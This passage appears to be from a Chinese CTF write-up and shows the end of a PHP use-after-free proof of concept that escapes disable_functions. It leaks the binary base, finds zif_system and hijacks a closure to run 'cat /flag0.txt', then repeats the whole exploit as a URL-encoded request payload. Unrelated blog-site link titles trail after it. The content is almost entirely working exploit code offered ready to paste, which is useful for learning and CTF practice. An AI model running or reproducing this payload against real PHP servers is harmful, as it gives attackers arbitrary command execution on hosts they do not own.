        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}
ctfshow("cat /flag0.txt");
?>
php 复制代码
payload:

c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B

web73

相关推荐
滚雪球~18 分钟前
npm error code ETIMEDOUT
前端·npm·node.js
沙漏无语19 分钟前
npm : 无法加载文件 D:\Nodejs\node_global\npm.ps1,因为在此系统上禁止运行脚本
前端·npm·node.js
supermapsupport21 分钟前
iClient3D for Cesium在Vue中快速实现场景卷帘
前端·vue.js·3d·cesium·supermap
brrdg_sefg22 分钟前
WEB 漏洞 - 文件包含漏洞深度解析
前端·网络·安全
胡西风_foxww29 分钟前
【es6复习笔记】rest参数(7)
前端·笔记·es6·参数·rest
m0_7482548830 分钟前
vue+elementui实现下拉表格多选+搜索+分页+回显+全选2.0
前端·vue.js·elementui
星就前端叭1 小时前
【开源】一款基于Vue3 + WebRTC + Node + SRS + FFmpeg搭建的直播间项目
前端·后端·开源·webrtc
m0_748234521 小时前
前端Vue3字体优化三部曲(webFont、font-spider、spa-font-spider-webpack-plugin)
前端·webpack·node.js
Web阿成1 小时前
3.学习webpack配置 尝试打包ts文件
前端·学习·webpack·typescript
jwensh2 小时前
【Jenkins】Declarative和Scripted两种脚本模式有什么具体的区别
运维·前端·jenkins